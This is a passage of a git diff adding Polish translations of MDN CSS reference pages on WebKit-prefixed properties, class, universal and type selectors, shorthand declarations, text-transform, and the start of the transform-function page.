+ <li>{{cssxref("-webkit-box-lines")}}</li>
+ <li>{{cssxref("-webkit-box-ordinal-group")}}</li>
+ <li>{{cssxref("-webkit-box-orient")}}</li>
+ <li>{{cssxref("-webkit-box-pack")}}</li>
+ <li>{{cssxref("-webkit-box-reflect")}}</li>
+ <li>{{cssxref("-webkit-box-shadow")}}</li>
+</ul>
+
+<h3 id="C">C</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-column-axis")}}</li>
+ <li>{{cssxref("-webkit-column-break-after")}}</li>
+ <li>{{cssxref("-webkit-column-break-before")}}</li>
+ <li>{{cssxref("-webkit-column-break-inside")}}</li>
+</ul>
+
+<h3 id="D_E">D E</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-dashboard-region")}}</li>
+</ul>
+
+<h3 id="F_2">F</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-filter")}}</li>
+ <li>{{cssxref("-webkit-font-smoothing")}}</li>
+</ul>
+
+<h3 id="G_2">G</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-grid-columns")}}</li>
+ <li>{{cssxref("-webkit-grid-rows")}}</li>
+</ul>
+
+<h3 id="H_–_K">H – K</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-highlight")}}</li>
+ <li>{{cssxref("-webkit-hyphenate-charset")}}</li>
+ <li>{{cssxref("-webkit-hyphenate-limit-after")}}</li>
+ <li>{{cssxref("-webkit-hyphenate-limit-before")}}</li>
+ <li>{{cssxref("-webkit-hyphenate-limit-lines")}}</li>
+ <li>{{cssxref("-webkit-image-set")}}</li>
+</ul>
+
+<h3 id="L">L</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-line-align")}}</li>
+ <li>{{cssxref("-webkit-line-box-contain")}}</li>
+ <li>{{cssxref("-webkit-line-break")}}</li>
+ <li>{{cssxref("-webkit-line-clamp")}}</li>
+ <li>{{cssxref("-webkit-line-grid")}}</li>
+ <li>{{cssxref("-webkit-line-snap")}}</li>
+ <li>{{cssxref("-webkit-locale")}}</li>
+ <li>{{cssxref("-webkit-logical-height")}}</li>
+ <li>{{cssxref("-webkit-logical-width")}}</li>
+</ul>
+
+<h3 id="M_2">M</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-margin-after")}}</li>
+ <li>{{cssxref("-webkit-margin-after-collapse")}}</li>
+ <li>{{cssxref("-webkit-margin-before")}}</li>
+ <li>{{cssxref("-webkit-margin-before-collapse")}}</li>
+ <li>{{cssxref("-webkit-margin-bottom-collapse")}}</li>
+ <li>{{cssxref("-webkit-margin-collapse")}}</li>
+ <li>{{cssxref("-webkit-margin-end")}}</li>
+ <li>{{cssxref("-webkit-margin-start")}}</li>
+ <li>{{cssxref("-webkit-margin-top-collapse")}}</li>
+ <li>{{cssxref("-webkit-marquee")}}</li>
+ <li>{{cssxref("-webkit-marquee-direction")}}</li>
+ <li>{{cssxref("-webkit-marquee-increment")}}</li>
+ <li>{{cssxref("-webkit-marquee-repetition")}}</li>
+ <li>{{cssxref("-webkit-marquee-speed")}}</li>
+ <li>{{cssxref("-webkit-marquee-style")}}</li>
+ <li>{{cssxref("-webkit-mask-attachment")}}</li>
+ <li>{{cssxref("-webkit-mask-box-image")}}</li>
+ <li>{{cssxref("-webkit-mask-box-image-outset")}}</li>
+ <li>{{cssxref("-webkit-mask-box-image-repeat")}}</li>
+ <li>{{cssxref("-webkit-mask-box-image-slice")}}</li>
+ <li>{{cssxref("-webkit-mask-box-image-source")}}</li>
+ <li>{{cssxref("-webkit-mask-box-image-width")}}</li>
+ <li>{{cssxref("-webkit-mask-position-x")}}</li>
+ <li>{{cssxref("-webkit-mask-position-y")}}</li>
+ <li>{{cssxref("-webkit-mask-repeat-x")}}</li>
+ <li>{{cssxref("-webkit-mask-repeat-y")}}</li>
+ <li>{{cssxref("-webkit-match-nearest-mail-blockquote-color")}}</li>
+ <li>{{cssxref("-webkit-max-logical-height")}}</li>
+ <li>{{cssxref("-webkit-max-logical-width")}}</li>
+ <li>{{cssxref("-webkit-min-logical-height")}}</li>
+ <li>{{cssxref("-webkit-min-logical-width")}}</li>
+</ul>
+
+<h3 id="N">N</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-nbsp-mode")}}</li>
+</ul>
+
+<h3 id="O">O</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-overflow-scrolling")}}</li>
+</ul>
+
+<h3 id="P_Q">P Q</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-padding-after")}}</li>
+ <li>{{cssxref("-webkit-padding-before")}}</li>
+ <li>{{cssxref("-webkit-padding-end")}}</li>
+ <li>{{cssxref("-webkit-padding-start")}}</li>
+ <li>{{cssxref("-webkit-perspective-origin-x")}}</li>
+ <li>{{cssxref("-webkit-perspective-origin-y")}}</li>
+ <li>{{cssxref("-webkit-print-color-adjust")}}</li>
+</ul>
+
+<h3 id="R">R</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-region-break-after")}}</li>
+ <li>{{cssxref("-webkit-region-break-before")}}</li>
+ <li>{{cssxref("-webkit-region-break-inside")}}</li>
+ <li>{{cssxref("-webkit-rtl-ordering")}}</li>
+</ul>
+
+<h3 id="S">S</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-shape-inside")}}</li>
+ <li>{{cssxref("-webkit-svg-shadow")}}</li>
+</ul>
+
+<h3 id="T_–_Z_2">T – Z</h3>
+
+<ul>
+ <li>{{cssxref("-webkit-tap-highlight-color")}}</li>
+ <li>{{cssxref("-webkit-text-combine")}}</li>
+ <li>{{cssxref("-epub-text-combine")}}</li>
+ <li>{{cssxref("-webkit-text-decorations-in-effect")}}</li>
+ <li>{{cssxref("-epub-text-emphasis")}}</li>
+ <li>{{cssxref("-epub-text-emphasis-color")}}</li>
+ <li>{{cssxref("-epub-text-emphasis-style")}}</li>
+ <li>{{cssxref("-webkit-text-fill-color")}}</li>
+ <li>{{cssxref("-epub-text-orientation")}}</li>
+ <li>{{cssxref("-webkit-text-security")}}</li>
+ <li>{{cssxref("-webkit-text-size-adjust")}}</li>
+ <li>{{cssxref("-webkit-text-stroke")}}</li>
+ <li>{{cssxref("-webkit-text-stroke-color")}}</li>
+ <li>{{cssxref("-webkit-text-stroke-width")}}</li>
+ <li>{{cssxref("-webkit-touch-callout")}}</li>
+</ul>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="https://trac.webkit.org/wiki/Styling%20Form%20Controls" title="https://trac.webkit.org/wiki/Styling Form Controls">Styling Form Controls on the WebKit Trac</a></li>
+ <li>Rozszerzenia nie wymienione powyżej: <a href="https://gist.github.com/afabbro/3759334">https://gist.github.com/afabbro/3759334</a></li>
+</ul>
diff --git a/files/pl/web/css/selektor_klasy/index.html b/files/pl/web/css/selektor_klasy/index.html
new file mode 100644
index 0000000000..12f8d4f5c8
--- /dev/null
+++ b/files/pl/web/css/selektor_klasy/index.html
@@ -0,0 +1,86 @@
+---
+title: Selektor klasy
+slug: Web/CSS/Selektor_klasy
+tags:
+ - CSS
+ - Klasy
+ - Reference
+ - Selektory
+translation_of: Web/CSS/Class_selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<div> </div>
+
+<div>Selektor klasy wyszukuje każdy element z atrybutem {{htmlattrxref("class")}} w dokumencie HTML. Atrybut {{htmlattrxref("class")}} jest zdefiniowany jako lista przedmiotów oddzielonych ze sobą spacją, jeden z nich musi zgadzać się z podaną klasą w selektorze (CSS).</div>
+
+<div> </div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">.nazwaklasy { <span class="short_text" id="result_box" lang="pl"><span>właściwości</span> <span>stylu</span></span> }</pre>
+
+<p>Jest to równoważne z {{Cssxref("Attribute_selectors", "attribute selector")}}:</p>
+
+<pre class="syntaxbox">[class~=nazwaklasy] { <span class="short_text" id="result_box" lang="pl"><span>właściwości</span> <span>stylu</span></span> }</pre>
+
+<h2 id="Przykład">Przykład</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span.classy {
+ background-color: DodgerBlue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span class="classy"&gt;Przykładowy tekst.&lt;/span&gt;
+&lt;span&gt;Kolejny przykładowy tekst.&lt;/span&gt;
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a href="https://drafts.csswg.org/selectors-4/#class-html">Selectors Level 4</a></li>
+ <li><a href="https://drafts.csswg.org/selectors-3/#class-html">Selectors Level 3</a></li>
+ <li><a href="http://www.w3.org/TR/CSS2/selector.html#class-html">CSS Level 2 (Revision 1)</a></li>
+ <li><a href="http://www.w3.org/TR/CSS1/#class-as-selector">CSS Level 1</a></li>
+</ul>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><strong>Przeglądarka</strong></td>
+ <td><strong>Wsparcie</strong></td>
+ </tr>
+ <tr>
+ <td>Chrome</td>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <td>Edge</td>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>Tak</td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/pl/web/css/selektor_uniwersalny/index.html b/files/pl/web/css/selektor_uniwersalny/index.html
new file mode 100644
index 0000000000..c3c4952f06
--- /dev/null
+++ b/files/pl/web/css/selektor_uniwersalny/index.html
@@ -0,0 +1,104 @@
+---
+title: Selektor uniwersalny
+slug: Web/CSS/Selektor_uniwersalny
+tags:
+ - CSS
+ - Selektory
+translation_of: Web/CSS/Universal_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Selektor uniwersalny</strong> (<code>*</code>) dopasowuje elementy wszystkich typów.</p>
+
+<pre class="brush: css no-line-numbers">/* Wybierz wszystkie elementy */
+* {
+ color: green;
+}</pre>
+
+<p>Począwszy od CSS3, gwiazdka może być używana w połączeniu z {{cssxref("CSS_Namespaces", "namespaces")}}:</p>
+
+<ul>
+ <li><code>ns|*</code> - dopasowuje wszystkie elementy w przestrzeni nazw <em>ns</em></li>
+ <li><code>*|*</code> - dopasowuje wszystkie elementy</li>
+ <li><code>|*</code> - dopasowuje wszystkie elementy bez zdefiniowanej przestrzeni nazw</li>
+</ul>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">* { własności }</pre>
+
+<p>Gwiazdka jest opcjonalna w przypadku prostych selektorów. Np.: <code>*.warning</code> i <code>.warning</code> są równoważne.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">* [lang^=pl] {
+ color: green;
+}
+
+*.warning {
+ color: red;
+}
+
+*#maincontent {
+ border: 1px solid blue;
+}
+
+.floating {
+ float: left
+}
+
+/* automatycznie czyści opływanie dla rodzeństwa znajdującego się bezpośrednio po elemencie z klasą .floating */
+.floating + * {
+ clear: left;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="warning"&gt;
+ &lt;span lang="pl"&gt;Zielony span&lt;/span&gt; w czerwonym akapicie.
+&lt;/p&gt;
+&lt;p id="maincontent" lang="pl"&gt;
+ &lt;span class="warning"&gt;czerwony span&lt;/span&gt; w zielonym akapicie.
+&lt;/p&gt;</pre>
+
+<h3 id="Rezultat">Rezultat</h3>
+
+<p>{{EmbedLiveSample('Przykłady')}}</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#the-universal-selector', 'universal selector')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>No changes</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#universal-selector', 'universal selector')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>Defines behavior regarding namespaces and adds hint that omitting the selector is allowed within pseudo-elements</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.selectors.universal")}}</p>
diff --git a/files/pl/web/css/selektory_typu/index.html b/files/pl/web/css/selektory_typu/index.html
new file mode 100644
index 0000000000..13dc191bb1
--- /dev/null
+++ b/files/pl/web/css/selektory_typu/index.html
@@ -0,0 +1,80 @@
+---
+title: Selektory typu
+slug: Web/CSS/Selektory_typu
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/Type_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Selektory typu</strong> dopasowują wszystkie elementy mające taką samą nazwę jak dany selektor. Własności zostaną zastosowane do każdego elementu danego typu niezależnie od tego, gdzie znajduje się w drzewie dokumentu.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="eval">selektor {<em>własności</em> }
+</pre>
+
+<p><code>selektor</code> jest do dowolnym elementem np. <code>p</code>, <code>div</code>, <code>a</code>, <code>table</code>.</p>
+
+<h2 id="Przykłady" name="Przykłady">Przykład</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span {
+ background-color: skyblue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span&gt;Span z tekstem.&lt;/span&gt;
+&lt;p&gt;Akapit z tekstem.&lt;/p&gt;
+&lt;span&gt;Span z większą ilością tekstu.&lt;/span&gt;
+</pre>
+
+<h3 id="Rezultat">Rezultat</h3>
+
+<p>{{EmbedLiveSample('Przykład', '100%', 150)}}</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>No changes</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>No changes</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+
+
+<p>{{Compat("css.selectors.type")}}</p>
diff --git a/files/pl/web/css/skrócone_deklaracje_css/index.html b/files/pl/web/css/skrócone_deklaracje_css/index.html
new file mode 100644
index 0000000000..fa244eb571
--- /dev/null
+++ b/files/pl/web/css/skrócone_deklaracje_css/index.html
@@ -0,0 +1,56 @@
+---
+title: Skrócone deklaracje CSS
+slug: Web/CSS/Skrócone_deklaracje_CSS
+tags:
+ - CSS
+ - Wszystkie_kategorie
+translation_of: Web/CSS/Shorthand_properties
+---
+<p>
+</p>
+<h2 id="Dlaczego_skracamy_deklaracje_CSS.3F" name="Dlaczego_skracamy_deklaracje_CSS.3F"> Dlaczego skracamy deklaracje CSS? </h2>
+<p>Wielu programistów CSS stosuje skrócone wersje często stosowanych własności w celu zaoszczędzenia czasu i energii. Chociaż skracanie deklaracji może wydawać się nie intuicyjnie i prawdopodobnie będzie wymagało trochę zapamiętywania, to z całą pewnością zaoszczędzi nam pisania na klawiaturze, podczas tworzenia dużych lub kompleksowych arkuszy stylów.
+</p>
+<h2 id="W.C5.82asno.C5.9Bci_t.C5.82a" name="W.C5.82asno.C5.9Bci_t.C5.82a"> Własności tła </h2>
+<p>Tło określone za pomocą następujących własności:
+</p>
+<pre>background-color: #000;
+background-image: url(images/bg.gif);
+background-repeat: no-repeat;
+background-position: top right;</pre>
+<p>Można zapisać w jednej deklaracji jako:
+</p>
+<pre>background: #000 url(images/bg.gif) no-repeat top right;</pre>
+<p>(Forma skrócona jest ściśle mówiąc odpowiednikiem wypisanych powyżej własności plus <code>background-attachment: scroll</code> oraz kilku dodatkowych własności w CSS3)
+</p>
+<h2 id="W.C5.82asno.C5.9Bci_czcionki" name="W.C5.82asno.C5.9Bci_czcionki"> Własności czcionki </h2>
+<p>Następujące deklaracje:
+</p>
+<pre>font-style: italic;
+font-weight: bold;
+font-size: .8em;
+line-height: 1.2;
+font-family: Arial, sans-serif;</pre>
+<p>Mogą zostać skrócone do następującej deklaracji: </p>
+<pre>font: italic bold .8em/1.2 Arial, sans-serif;</pre>
+<p>(Forma skrócona jest ściśle mówiąc odpowiednikiem wypisanych powyżej własności plus <code>font-variant: normal</code> i <code>font-size-adjust: none</code> (CSS2.0 / css3), <code>font-stretch: normal</code> (css3).)
+</p>
+<h2 id="W.C5.82asno.C5.9Bci_obramowania" name="W.C5.82asno.C5.9Bci_obramowania"> Własności obramowania </h2>
+<p>Obramowanie, szerokość, kolor i styl możemy uprościć do jednej deklaracji. Na przykład:
+</p>
+<pre>border-width: 1px;
+border-style: solid;
+border-color: #000;</pre>
+<p>Możemy zapisać jako:
+</p>
+<pre>border: 1px solid #000;</pre>
+<h2 id="W.C5.82asno.C5.9Bci_margin.2Fpadding" name="W.C5.82asno.C5.9Bci_margin.2Fpadding"> Własności margin/padding </h2>
+<p>Skrócona wersja wartości margin i padding działa w ten sam sposób. Następujące deklaracje CSS: </p>
+<pre>margin-top: 10px;
+margin-right: 5px;
+margin-bottom: 10px;
+margin-left: 5px;</pre>
+<p>Są tym samym, co poniższa deklaracja (ważne jest, aby wartości były rozmieszczone zgodnie z kierunkiem ruchu wskazówek zegara, zaczynając od wartości top: top, right, bottom i left (TRBL, spółgłoski w słowie "trouble"))
+</p>
+<pre>margin: 10px 5px 10px 5px;</pre>
+{{ languages( { "en": "en/Guide_to_Shorthand_CSS" } ) }}
diff --git a/files/pl/web/css/text-transform/index.html b/files/pl/web/css/text-transform/index.html
new file mode 100644
index 0000000000..1e3bcc1ac1
--- /dev/null
+++ b/files/pl/web/css/text-transform/index.html
@@ -0,0 +1,81 @@
+---
+title: text-transform
+slug: Web/CSS/text-transform
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/text-transform
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność CSS 'text-transform' definiuje, czy tekst w elemencie powinien być wyświetlony kapitalikami lub wielkimi literami.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">text-transform : capitalize | uppercase | lowercase| none
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>capitalize</dt>
+ <dd>Pierwsza litera każdego słowa jest zmieniana na wielką, inne zostają bez zmian.</dd>
+ <dt>uppercase</dt>
+ <dd>Wszystkie litery są przekształcane na wielkie.</dd>
+ <dt>lowercase</dt>
+ <dd>Wszystkie litery są przekształcane na małe.</dd>
+ <dt>none</dt>
+ <dd>Żadne zmiany wielkości liter nie są dokonywane.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Examples</h2>
+
+<pre class="eval">p::first-line {
+ text-transform: uppercase;
+}
+</pre>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/text.html#caps-prop">CSS level 2 revision 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#text-transform">CSS level 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-text/">W3C Cascading Style Sheets, level 3</a> (jeszcze niegotowa)</li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>?</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/css/transform-function/index.html b/files/pl/web/css/transform-function/index.html
new file mode 100644
index 0000000000..9a384bb869
--- /dev/null
+++ b/files/pl/web/css/transform-function/index.html
@@ -0,0 +1,201 @@
+---
+title: <transform-function>
+slug: Web/CSS/transform-function
+tags:
+ - CSS
+ - CSS Data Type
+ - CSS Reference
+ - CSS Transforms
+ - Layout
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+ - Web
+translation_of: Web/CSS/transform-function
+---
+<div>{{CSSRef}}</div>
+
+<p>The <code>&lt;transform-function&gt;</code> CSS data type denotes a function applied to an element's representation in order to modify it. Usually such transform may be expressed by matrices and the resulting images can be determined using matrix multiplication on each point.</p>
+
+<h2 id="Coordinates_for_2D_graphics">Coordinates for 2D graphics</h2>
+
+<p>There are several coordinate models used when describing transformation. The most common are the Cartesian coordinate system and homogeneous coordinates.</p>
+
+<h3 id="Cartesian_coordinates">Cartesian coordinates</h3>
+
+<p><a href="/@api/deki/files/5796/=coord_in_R2.png"><img src="/files/3438/coord_in_R2.png" style="float: right; width: 171px;"></a></p>
+
+<p>In <a class="external" href="https://en.wikipedia.org/wiki/Cartesian_coordinate_system">Cartesian coordinates</a> each point of the <a class="external" href="https://en.wikipedia.org/wiki/Euclidean_geometry">Euclidian space</a> is described using two values, the abscissa and the ordinate. The origin, the <code>(0, 0)</code> is the top-left corner of the element. Unlike the usual geometric convention, and like most cases in computer graphics, the y-axis goes to the bottom. Each point is mathematically described using the vector notation <code>(x,y)</code>.</p>
+
+<p>Each linear function is described using a 2x2 matrix like:</p>
+
+<div style="text-align: center;">
+<p><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd></mtr> <mtr><mtd>b</mtd><mtd>d</mtd></mtr> </mtable> </mfenced> </math></p>
+</div>
+
+<p>Applying the transformation consists in doing, for each point, the matrix multiplication between both:</p>
+
+<div style="text-align: center;"><a href="/@api/deki/files/5799/=transform_functions_generic_transformation_cart.png"><img src="/@api/deki/files/5799/=transform_functions_generic_transformation_cart.png?size=webview" style="height: 32px; width: 189px;"></a>.</div>
+
+<p>It is possible to apply several transformations in a row:</p>
+
+<div style="text-align: center;"><a href="/@api/deki/files/5800/=transform_functions_transform_composition_cart.png"><img src="/@api/deki/files/5800/=transform_functions_transform_composition_cart.png?size=webview" style="height: 32px; width: 313px;"></a>.</div>
+
+<p>With this notation, it is possible to describe, and therefore composite, most usual transformations: rotations, scaling, or skewing. In fact all transformations that are linear functions can be described. Composite transforms are effectively applied in order from right to left. One major transformation is not linear and therefore must be special-cased when using this notation: translation. The translation vector (tx, ty) must be expressed separately, as two more parameters.</p>
+
+<p><a class="external" href="https://en.wikipedia.org/wiki/August_Ferdinand_M%C3%B6bius">Möbius</a>' <a class="external" href="https://en.wikipedia.org/wiki/Homogeneous_coordinates">homogeneous coordinates</a> in <a class="external" href="https://en.wikipedia.org/wiki/Projective_geometry">projective geometry</a> leading to 3x3 transformation matrices, though more complex and unusual for non-specialists, doesn't suffer from the translation limitation as these can be expressed as linear functions in this algebra, removing the need for special cases.</p>
+
+<h2 id="Functions_defining_transformations">Functions defining transformations</h2>
+
+<p>Several functions are available to describe transformations in CSS. Each one applies a geometric operation, in 2D or 3D:</p>
+
+<dl>
+ <dt>{{cssxref("transform-function/matrix","matrix()")}}</dt>
+ <dd>The <code>matrix()</code> CSS function specifies a homogeneous 2D transformation matrix comprised of the specified six values. The constant values of such matrices are implied and not passed as parameters; the other parameters are described in the column-major order.</dd>
+ <dd><code>matrix(a, b, c, d, tx, ty)</code> is a shorthand for <code>matrix3d(a, b, 0, 0, c, d, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1)</code>.</dd>
+ <dt>{{cssxref("transform-function/matrix3d","matrix3d()")}}</dt>
+ <dd>The <code>matrix3d()</code> CSS function describes a 3D transform as a 4x4 homogeneous matrix. The 16 parameters are described in the column-major order.</dd>
+ <dt>{{cssxref("transform-function/perspective","perspective()")}}</dt>
+ <dd>The <code>perspective()</code> CSS function defines the distance between the z=0 plane and the user in order to give to the 3D-positioned element some perspective. Each 3D element with z&gt;0 becomes larger; each 3D-element with z&lt;0 becomes smaller. The strength of the effect is determined by the value of this property.</dd>
+ <dt>{{cssxref("transform-function/rotate","rotate()")}}</dt>
+ <dd>The <code>rotate()</code> CSS function defines a transformation that moves the element around a fixed point (as specified by the {{ Cssxref("transform-origin") }} property) without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. A rotation by 180° is called <em>point reflection</em>.</dd>
+ <dt>{{cssxref("transform-function/rotate3d","rotate3d()")}}</dt>
+ <dd>The <code>rotate3d()</code>CSS function defines a transformation that moves the element around a fixed axis without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise.In opposition to rotations in the plane, the composition of 3D rotations is usually not commutative; it means that the order in which the rotations are applied is crucial.</dd>
+ <dt>{{cssxref("transform-function/rotateX","rotateX()")}}</dt>
+ <dd>The <code>rotateX()</code>CSS function defines a transformation that moves the element around the abscissa without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. The axis of rotation passes by the origin, defined by {{ cssxref("transform-origin") }} CSS property.</dd>
+ <dd><code>rotateX(a)</code>is a shorthand for <code>rotate3D(1, 0, 0, a)</code>.</dd>
+ <dt>{{cssxref("transform-function/rotateY","rotateY()")}}</dt>
+ <dd>The <code>rotateY()</code>CSS function defines a transformation that moves the element around the ordinate without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. The axis of rotation passes by the origin, defined by {{ cssxref("transform-origin") }} CSS property.</dd>
+ <dd><code>rotateY(a)</code>is a shorthand for <code>rotate3D(0, 1, 0, a)</code>.</dd>
+ <dt>{{cssxref("transform-function/rotateZ","rotateZ()")}}</dt>
+ <dd>The <code>rotateZ()</code>CSS function defines a transformation that moves the element around the z-axis without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. The axis of rotation passes by the origin, defined by {{ cssxref("transform-origin") }} CSS property.</dd>
+ <dd><code>rotateZ(a)</code>is a shorthand for <code>rotate3D(0, 0, 1, a)</code>.</dd>
+ <dt>{{cssxref("transform-function/scale","scale()")}}</dt>
+ <dd>The <code>scale()</code> CSS function modifies the size of the element. It can either augment or decrease its size and as the amount of scaling is defined by a vector, it can do so more in one direction than in another one. This transformation is characterized by a vector whose coordinates define how much scaling is done in each direction. If both coordinates of the vector are equal, the scaling is uniform, or isotropic, and the shape of the element is preserved. In that case, the scaling function defines a homothetic transformation.</dd>
+ <dt>{{cssxref("transform-function/scale3d","scale3d()")}}</dt>
+ <dd>The <code>scale3d()</code> CSS function modifies the size of an element. Because the amount of scaling is defined by a vector, it can resize different dimensions at different scales. This transformation is characterized by a vector whose coordinates define how much scaling is done in each direction. If all three coordinates of the vector are equal, the scaling is uniform, or isotropic, and the shape of the element is preserved. In that case, the scaling function defines a homothetic transformation.</dd>
+ <dt>{{cssxref("transform-function/scaleX","scaleX()")}}</dt>
+ <dd>The <code>scaleX()</code> CSS function modifies the abscissa of each element point by a constant factor, except if this scale factor is <code>1</code>, in which case the function is the identity transform. The scaling is not isotropic and the angles of the element are not conserved. <code>scaleX(-1)</code> defines an <a class="external" href="https://en.wikipedia.org/wiki/Axial_symmetry">axial symmetry</a> with a vertical axis passing by the origin (as specified by the {{cssxref("transform-origin")}} property).</dd>
+ <dd><code>scaleX(sx)</code> is a shorthand for <code>scale(sx, 1)</code> or for <code>scale3d(sx, 1, 1)</code>.</dd>
+ <dt>{{cssxref("transform-function/scaleY","scaleY()")}}</dt>
+ <dd>The <code>scaleY()</code> CSS function modifies the ordinate of each element point by a constant factor except if this scale factor is <code>1</code>, in which case the function is the identity transform. The scaling is not isotropic and the angles of the element are not conserved. <code>scaleY(-1)</code> defines an <a class="external" href="https://en.wikipedia.org/wiki/Axial_symmetry">axial symmetry</a> with a horizontal axis passing by the origin (as specified by the {{cssxref("transform-origin")}} property).</dd>
+ <dd><code>scaleY(sy)</code> is a shorthand for <code>scale(1, sy)</code> or for <code>scale3d(1, sy, 1)</code>.</dd>
